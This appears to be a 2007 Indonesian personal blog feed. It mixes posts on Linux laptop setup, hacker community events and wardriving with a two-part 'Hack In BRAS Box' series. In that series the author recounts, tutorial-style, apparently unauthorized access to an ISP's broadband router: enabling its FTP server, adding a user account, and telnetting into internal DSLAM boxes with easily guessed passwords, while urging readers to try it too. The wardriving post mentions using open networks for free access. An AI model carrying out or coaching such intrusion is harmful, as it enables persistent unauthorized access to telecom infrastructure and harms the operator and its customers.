lumayan, lumayan crowded maksudna :P hehehe, gk nyangka di jalan2 margonda ajah dah banyak betul sinyal2 wifi bertebaran.. :) &lt;br /&gt;&lt;br /&gt;Terus kemarin juga sempet nyoba di mangga 2 mall, hasilna juga lumayan (sempet ngenet gratisan :P). Percobaan dilakukan di lantai 1 dekat pintu utama... Beberapa SSID ketangkep walaupun sinyalna kurang bagus, rata2 -70 dBm. Untuk hasil capture bisa di donlod &lt;a href="http://www.geocities.com/emomelodicfreak/capture.zip"&gt;disini&lt;/a&gt; atau &lt;a href="http://pushm0v.anime.0lx.net/capture.zip"&gt;mirror&lt;/a&gt; :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6152845920575902008?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6152845920575902008/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6152845920575902008' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6152845920575902008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6152845920575902008'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/war-driving-depok-n-mangga-2.html' title='War Driving @ depok n mangga 2 :)'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RwTltP8dbpI/AAAAAAAAAEk/-onBPyW9E7s/s72-c/airodump-tous-les-reseaux-presents.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1237212281584012927</id><published>2007-10-04T19:32:00.000+07:00</published><updated>2007-10-04T20:28:20.939+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>My lappie with Debian Etch...</title><content type='html'>Di postingan sebelomna pas aq instal debian etch terdapat masalah, yaitu tampilan yg flickering n gk bekerjana touchpad. Setelah nyari2 referensi, akhirna dapet solusina. Diharuskan edit file /etc/X11/xorg.conf, yg isina :&lt;br /&gt;&lt;br /&gt;Section "Device"&lt;br /&gt;    Identifier  "VESA Framebuffer"&lt;br /&gt;    Driver      "vesa"&lt;br /&gt;==== Cut Here ====&lt;br /&gt;&lt;br /&gt;Pada awalna Driver yang ada bukanlah "vesa", jadi aq ganti menjadi vesa. Setelah itu tampilan pun kembali normal dan berhasil dijalankan hingga resolusi 1600x1200. Sebenarna si lappie dukung ampe 1920x1900, tapi entah mengapa ma si Xserverna cuman bisa sanggup ampe 1600x1200. &lt;br /&gt;&lt;br /&gt;Untuk masalah touchpad ternyata harus mengedit file xorg.conf juga, yaitu :&lt;br /&gt;&lt;br /&gt;Section "InputDevice"&lt;br /&gt;    Identifier "Mouse0"&lt;br /&gt;    Driver "synaptics"&lt;br /&gt;    Option "Device"      "/dev/psaux"&lt;br /&gt;    Option "Protocol" "auto-dev"&lt;br /&gt;    Option "LeftEdge" "1700"&lt;br /&gt;    Option "RightEdge" "5300"&lt;br /&gt;    Option "TopEdge" "1700"&lt;br /&gt;    Option "BottomEdge" "4200"&lt;br /&gt;    Option "FingerLow" "25"&lt;br /&gt;    Option "FingerHigh" "30"&lt;br /&gt;    Option "MaxTapTime" "180"&lt;br /&gt;    Option "MaxTapMove" "220"&lt;br /&gt;    Option "VertScrollDelta" "100"&lt;br /&gt;    Option "MinSpeed" "0.06"&lt;br /&gt;    Option "MaxSpeed" "0.12"&lt;br /&gt;    Option "AccelFactor" "0.0010"&lt;br /&gt;    Option "SHMConfig" "on"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Hehehe kebetulan aq juga pake mouse USB, jadina tinggal nambahin di file tsb :&lt;br /&gt;&lt;br /&gt;Section "InputDevice"&lt;br /&gt; Identifier "Mouse1"&lt;br /&gt; Driver "mouse"&lt;br /&gt; Option "Protocol" "auto"&lt;br /&gt; Option "Device" "/dev/input/mice"&lt;br /&gt; Option "ZAxisMapping" "4 5 6 7"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Jadi untuk menggabungkan antara touchpad dengan Mouse USB :&lt;br /&gt;&lt;br /&gt;Section "ServerLayout"&lt;br /&gt;    Screen "Screen 1"&lt;br /&gt;    InputDevice "Mouse0" "CorePointer" #Pointer utama, Touchpad&lt;br /&gt;    InputDevice "Mouse1" "SendCoreEvents" #Pointer kedua, mengirim event    &lt;br /&gt;    InputDevice "Keyboard1" "CoreKeyboard"&lt;br /&gt;EndSection&lt;br /&gt;&lt;br /&gt;Mudah2an bagi yang mengalami masalah serupa bisa terselesaikan :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1237212281584012927?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1237212281584012927/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1237212281584012927' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1237212281584012927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1237212281584012927'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/10/little-problem-my-lappie-with-debian.html' title='My lappie with Debian Etch...'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1940553684664461049</id><published>2007-09-22T08:15:00.001+07:00</published><updated>2007-09-22T08:25:18.077+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>My New (2nd Hand :P) Hp-Compaq NW8240</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_C4OekAEc7cI/RvRs8Tq28aI/AAAAAAAAAEc/25kLODKp4CY/s1600-h/nw8240.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RvRs8Tq28aI/AAAAAAAAAEc/25kLODKp4CY/s320/nw8240.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5112831260300341666" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Beberapa hari yang lalu aq membeli Lappie (baca: laptop) seken, ya lumayan murahlah buat Mhs.. Merekna Hp-Compaq NW8240... hehehe untuk spek bisa &lt;a href="http://www.google.com/search?hl=en&amp;client=firefox-a&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;hs=gbY&amp;q=hp+nw8240&amp;btnG=Search"&gt;Googling&lt;/a&gt; ndiri ya :P....&lt;br /&gt;&lt;br /&gt;Begitu sampe ke tangan, wewwwwwwwwww dah ada windows Vista Business Edition terinstall... Bagus sih dekstop n dll na.. tapi ni lappie pgn aq masukin pingu (baca: Linux).. Beberapa alternatif si pingu sih ada.. diantarana Ubuntu, Kubuntu, Debian, Backtrack n Slackware.&lt;br /&gt;&lt;br /&gt;Pertama nyoba jalanin Ubuntu, boot dari CDna.. ampe menu pilihan Ubuntu masih lancar, tapi pas milih Start OR Install Ubuntu kok mandek?? :(&lt;br /&gt;&lt;br /&gt;Akhirna coba Kubuntu, sama kayak si Ubuntu, tapi bedana dia lancar ampe mounting root file system doank :P selanjutna pingsan T_T&lt;br /&gt;&lt;br /&gt;Uji coba lagi dengan menginstall Debian, lancarrrrrrrr truuussssss... tapi begitu muncul dekstop GNOMEna.. kok layarna Flickering (Berkedip2) mulu ya? kayakna masih ada masalah dengan XServerna.. untuk hal ini lom aq perbaikin, masih nyari referensi dari Google.&lt;br /&gt;&lt;br /&gt;Slackware 11 diuji coba, install lancar, masuk Desktop KDE lancar, pas mo gerakin pointer, wakksss mandek, gk mo gerak :(( kayakna si slackware lom ada driver untuk Touchpad Synaptics (Mouse USB ajah gk kedetek T_T) padahal dah milih PS/2 untuk inputan mouse pada awal Setup..&lt;br /&gt;&lt;br /&gt;Yowiss, akhirna coba jalanin si BackTrack 2 (baca: bt), wekkksss lancar oiiiii!!! akhirna si Backtrack menjadi sang penghuni lappie aq dengan didampingi Debian 4.0 n Slackware 11 :) :) &lt;br /&gt;&lt;br /&gt;Moga2 lappie aq awet n si pingu betah didalemna :P :P hehehe&lt;br /&gt;&lt;br /&gt;Untuk cara konfigurasi XServer n Touchpad nyusul ya :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1940553684664461049?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1940553684664461049/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1940553684664461049' title='6 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1940553684664461049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1940553684664461049'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/09/my-new-2nd-hand-p-hp-compaq-nw8240.html' title='My New (2nd Hand :P) Hp-Compaq NW8240'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_C4OekAEc7cI/RvRs8Tq28aI/AAAAAAAAAEc/25kLODKp4CY/s72-c/nw8240.jpg' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-8026995390531648654</id><published>2007-09-15T19:35:00.000+07:00</published><updated>2007-09-15T19:53:43.818+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>Software Freedom Days 2007 @ Universitas Budi Luhur</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RuvSESQ1IYI/AAAAAAAAAEU/ymiaRRZ-l7s/s1600-h/KSL_LOGO04_trp_small.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RuvSESQ1IYI/AAAAAAAAAEU/ymiaRRZ-l7s/s320/KSL_LOGO04_trp_small.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5110409173245698434" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pada tanggal 13-15 September 2007 telah diadakan acara Software Freedom Days 2007 yang diselenggarakan oleh KSL (Kelompok Studi Linux) Budi Luhur. Kebetulan echo menjadi salah satu pengisi acara. Ada 3 sesi yang diadakan pada hari ini (tgl 15 Sept), yaitu :&lt;br /&gt;&lt;br /&gt;1. ksl-bl       : All about FOSS (Free &amp; Open Source Software) on Windows&lt;br /&gt;2. ubuntu.or.id : FOSS on Education&lt;br /&gt;3. echo         : Firewall dan IDS dengan Linux, Honeypot, dan Security Testing (attacking bl.ac.id)&lt;br /&gt;&lt;br /&gt;Acarana cukup rame, mengingat antusias para peserta sangat tinggi ttg dunia Open Source. Pada sesi pertama dibicarakan ttg FOSS di windows, apakah itu aplikasi multimedia seperti Audacity hingga aplikasi pengolah image, seperti GIMP. &lt;br /&gt;&lt;br /&gt;Pada sesi kedua, perwakilan dari komunitas Ubuntu Indonesia (ubuntu-id.org) menyampaikan materi ttg dunia FOSS di Linux, khususna di distro Ubuntu. Sangat menarik apa yang disampaikan oleh kang Haary (maap kalo salah eja :P).&lt;br /&gt;&lt;br /&gt;Nah setelah istirahat, dilanjutkan sesi untuk para pembicara dari Echo.or.id :). Oms Bherly menyampaikan ttg Firewall dan IDS dengan Linux, dimana membahas ttg IPTABLES dan Snort :). Dilanjutkan oleh oms Hero ttg Honeynet (lupa judul lengkapna :P). Duh materina oms Hero menarik bgt nih :), bagaimana kita bisa menjebak para intruder (penyerang/penyusup) dengan membuat server palsu :)&lt;br /&gt;&lt;br /&gt;Sesi yang ditunggu2 oleh para peserta tidak lain adalah POC dari Audit situs bl.ac.id. Kebetulan ada oms Ammar dan oms Azis yang bertugas mendemokanna kepada peserta. Wiihhh.. kata oms hero n kawan2 staff echo yang mendapat tugas audit sih, 15 menit bisa tembus sang situs :) Memang tidak dijelaskan bagaimana cara mendapatkan akses root dari pertama. Hal ini tentu juga dipengaruhi oleh kode etik dan peraturan yg dibuat sebelumna. Jadi hanya dibuktikan bahwa terdapat kelemahan2 pada situs bl.ac.id yg perlu diperbaiki secepatna. Sempat diperlihatkan bagaimana sang "attacker" mendapatkan akses root pada MYSQL server :) wew, pokokna asik deh acarana.. mudah2an tahun depan tetap diadakan n tentuna semangat untuk menggunakan FOSS tidak padam bahkan terus tinggi... Amiinnn :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-8026995390531648654?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/8026995390531648654/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=8026995390531648654' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/8026995390531648654'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/8026995390531648654'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/09/software-freedom-days-2007-universitas.html' title='Software Freedom Days 2007 @ Universitas Budi Luhur'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RuvSESQ1IYI/AAAAAAAAAEU/ymiaRRZ-l7s/s72-c/KSL_LOGO04_trp_small.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-6082059167946899486</id><published>2007-09-12T09:16:00.000+07:00</published><updated>2007-09-12T09:33:34.658+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>Hack In BRAS Box - Part 3</title><content type='html'>Bila pada bagian sebelumna kita sudah dapat mendowload/mengupload file ke BRAS Box, maka selanjutna aq pgn mengeksplorasi jaringan internal yang ada di Box tsb. Masih ingat dengan file Log (operationlogfile.log)? Dari 1 file tsb bisa mambantu kita dalam mengeksplorasi lebih lanjut. Misal dari file Log yg aq dapatkan :&lt;br /&gt;&lt;br /&gt;%Sep  1 12:40:39 2007 BRAS-D2-XXX SHELL/5/LOGIN: VTY login from 203.xxx.xxx.xxx&lt;br /&gt;%Sep  1 12:40:53 2007 BRAS-D2-xxx SHELL/5/CMD:task:vt0 ip:203.xxx.xxx.xxx user:** command:telnet 10.xxx.xxx.xxx &lt;br /&gt;%Sep  1 12:42:35 2007 BRAS-D2-xxx SHELL/5/CMD:task:vt0 ip:203.xxx.xxx.xxx user:** command:ping 10.xxx.xxx.xxx&lt;br /&gt;&lt;br /&gt;Dapat dilihat kalo sang "admin" (mungkin loh :P) sedang melakukan sesi telnet ke salah satu IP internal. Coba yuk kita juga melakukanna :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RudPBSQ1IXI/AAAAAAAAAEM/RSlyn_RcU3s/s1600-h/telkom-DSLAM.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RudPBSQ1IXI/AAAAAAAAAEM/RSlyn_RcU3s/s320/telkom-DSLAM.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5109139185776009586" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wawwwww.... ternyata bisa... n juga username + passwordna masih sangat gampang ditebak :( ... Ada apa ajah sih command disini?&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RudPBCQ1IWI/AAAAAAAAAEE/UB5kcV3s6wg/s1600-h/telkom-DSLAM2.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RudPBCQ1IWI/AAAAAAAAAEE/UB5kcV3s6wg/s320/telkom-DSLAM2.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5109139181481042274" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Wew.. gk sebanyak yg di BRAS Box... :) hehehehe... kalo dieksplorasi lebih jauh lagi, ternyata banyak DSLAM box (bener gk ya DSLAM?) yg bisa dimasukin, misal :&lt;br /&gt;&lt;br /&gt;10.xxx.xxx.xxx&lt;br /&gt;DSLAM01-D2-xxx_xxx&lt;br /&gt;&lt;br /&gt;10.xxx.xxx.xxx&lt;br /&gt;DSLAM01-D2-xxx_xxx&lt;br /&gt;&lt;br /&gt;10.xxx.xxx.xxx&lt;br /&gt;DSLAM01-D2-xxx_xxx&lt;br /&gt;&lt;br /&gt;10.xxx.xxx.xxx&lt;br /&gt;DSLAM01-D2-xxx&lt;br /&gt;&lt;br /&gt;10.xxx.xxx.xxx&lt;br /&gt;DSLAM01-D2-xxx&lt;br /&gt;&lt;br /&gt;Dll.... moga2 sang ISP lebih baik lagi dalam hal manajemen keamanan infrastrukturna :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-6082059167946899486?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/6082059167946899486/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=6082059167946899486' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6082059167946899486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/6082059167946899486'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/09/hack-in-bras-box-part-3.html' title='Hack In BRAS Box - Part 3'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_C4OekAEc7cI/RudPBSQ1IXI/AAAAAAAAAEM/RSlyn_RcU3s/s72-c/telkom-DSLAM.GIF' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-7299643880323125034</id><published>2007-09-11T19:22:00.000+07:00</published><updated>2007-09-11T19:49:37.018+07:00</updated><title type='text'>Hack In BRAS Box - Part 2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RuaI-Ed2QGI/AAAAAAAAADs/TzldgIQMUQo/s1600-h/telkom3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RuaI-Ed2QGI/AAAAAAAAADs/TzldgIQMUQo/s320/telkom3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5108921427230605410" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Kali ini aq akan mencoba konek ke FTP Server yang berjalan di BRAS target, dengan username + password yang valid tentuna. Pertama aq login terlebih dahulu ke BRAS target seperti gambar diatas. Lalu masuk mode system-view. Perlu diketahui, FTP Server harus dijalankan terlebih dahulu bila sebelumna masih dalam keadaan non-aktif dengan menggunakan perintah : &lt;br /&gt;&lt;br /&gt;ftp server enable&lt;br /&gt;&lt;br /&gt;Bila sudah aktif, maka selanjutnya kita akan membuat username + password baru agar valid di BRAS tsb :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_C4OekAEc7cI/RuaL8Ed2QHI/AAAAAAAAAD0/BA4efDSbxFk/s1600-h/telkom5.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RuaL8Ed2QHI/AAAAAAAAAD0/BA4efDSbxFk/s320/telkom5.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5108924691405750386" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Pembuatan User baru ada dibagian local-aaa-server, dan syntax tsb berarti kita menambahkan user dengan nama xxxxxxx@ftp (harus memakai domain, misal @yyyy), password berupa plaintext (simple) yaitu xxxxxxxx, mempunyai level 3 dan mempunyai direktori FTP di hd:/ :)&lt;br /&gt;&lt;br /&gt;Setelah itu mari kita coba login ke FTP Server tsb :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_C4OekAEc7cI/RuaN1Ud2QII/AAAAAAAAAD8/fGlpDeIvIf8/s1600-h/telkom7.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_C4OekAEc7cI/RuaN1Ud2QII/AAAAAAAAAD8/fGlpDeIvIf8/s320/telkom7.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5108926774464888962" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Taraaaaaaaaaaaaaa.... :) disini kita bisa upload ato download file :).. Untuk referensi perintah FTP bisa liat di &lt;a href="http://www.google.com/search?hl=en&amp;q=ftp+command&amp;btnG=Google+Search"&gt;Google&lt;/a&gt; :)&lt;br /&gt;&lt;br /&gt;Ohiya, jgn lupa, semua aktifitas kita di Box ini pasti dicatet ma log daemonna... File Log tsb biasana berada di folder /logfile/xxxxyy/operationlogfile.log, dimana xxxx adalah tahun, dan yy adalah bulan.. :) :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-7299643880323125034?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/7299643880323125034/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=7299643880323125034' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7299643880323125034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/7299643880323125034'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/09/hack-in-bras-box-part-2.html' title='Hack In BRAS Box - Part 2'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RuaI-Ed2QGI/AAAAAAAAADs/TzldgIQMUQo/s72-c/telkom3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-1437530777458841699</id><published>2007-09-09T17:57:00.000+07:00</published><updated>2007-09-09T21:03:12.431+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><title type='text'>Ultah Echo @ SMKN 26</title><content type='html'>Hari ini Echo mengadakan acara ultah di SMKN 26 (dulu dikenal dengan nama STM Pembangunan) di Rawamangun. Peserta yang hadir jauh dari estimasi para panitia :( Tapi Alhamdulillah acara berjalan lancar dan tertib... &lt;br /&gt;&lt;br /&gt;Pembicara yang hadir yaitu Oms Dedi Dwianto (the_day) dan oms Jim Geovedi, Oms Dedi kebagian sesi pertama membawakan materi tentang Protocol Tunneling, From Limit to Unlimit. Sayangna karena hambatan teknis demo tidak bisa dilakukan (walaupun koneksi internet dah diusahakan semampuna dengan Access Point darurat milik oms Hero :P). Sedangkan oms Jim membawakan materi tentang Enterprise Hacking (lupa judul lengkapna :P). Katana materi ini juga dibawakan pada acara HITB (hack In The Box) di Malaysia beberapa hari yg lalu :).. Oms Jim sempat memberikan Bonus Demo berupa penyusupan (cie nyusup2 bahasana :P) melalui protocol SSH ke sistem target (targetna terkemuka loh :P).. Thx oms Jim n oms Dedi atas materi yg sangat2 bermanfaat, semoga menjadi inspirasi dan motivasi bagi kita semua :)&lt;br /&gt;&lt;br /&gt;Di acara tadi juga dijual berbagai merchandise spesial edition, special dimanana? pertama harga, pasti didiskon.. dan kedua tersedia Baju versi spesial ultah :).. Yang dijual tadi itu Buku Jasakom : Seri Hacking 1 dan 2, Wireless Kungfu, CD Hacking Backtrack 2.0 dan Buku oms Ammar : Hacker : it's not about black or white dan Pin Echo :) ...&lt;br /&gt;&lt;br /&gt;Selain itu juga ada sesi diskusi panel yang isina tentang perkenalan staff2 echo, sejarah, visi-misi echo dan harapan echo di masa datang :).. Pada saat akhir acara diadakan Quiz yang hadiahna buku gratisan, :)&lt;br /&gt;&lt;br /&gt;Semoga Echo menjadi komunitas yang besar, tidak hanya besar dalam jumlah memberna tapi "besar" dalam jiwa, berkarya, dan tidak henti2na memberikan kontribusi yang baik dan manfaat bagi bangsa (cieee :P)... Happy B'Day Echo... we always love U :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-1437530777458841699?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/1437530777458841699/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=1437530777458841699' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1437530777458841699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/1437530777458841699'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/09/ultah-echo-smkn-26.html' title='Ultah Echo @ SMKN 26'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-5487908940205255787</id><published>2007-08-28T14:42:00.000+07:00</published><updated>2007-09-10T17:52:01.920+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>How To Make Your Own (Portable) Anti Virus</title><content type='html'>&lt;a href="http://bp1.blogger.com/_C4OekAEc7cI/RtPTdkd2QFI/AAAAAAAAADk/OuNv53UPe9g/s1600-h/multikiller3.GIF"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_C4OekAEc7cI/RtPTdkd2QFI/AAAAAAAAADk/OuNv53UPe9g/s320/multikiller3.GIF" border="0" alt=""id="BLOGGER_PHOTO_ID_5103655307699437650" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Portable itu apa sih? menurut aq ya, portable itu bisa dibawa n digunain dimana2.. Kalo aplikasi yg portable gimana? &lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;"A portable application, or portable app for short, is a software program that does not require any kind of formal installation onto a computer's permanent storage device to be executed, and can be stored on a removable storage device such as a CD-ROM, USB flash drive, flash card, or even a floppy disk, enabling it to be used on multiple computers."&lt;/i&gt; &lt;b&gt;sumber : wikipedia&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Yups, berarti aplikasi tersebut bisa dijalankan tanpa harus diinstal terlebih dahulu di komputer yang menjalankanna... Lalu kalo Anti Virus dijadikan portable gimana? tentuna lebih efesien n manfaat, napa? soalna tidak perlu terinstall di komputer, jika sewaktu2 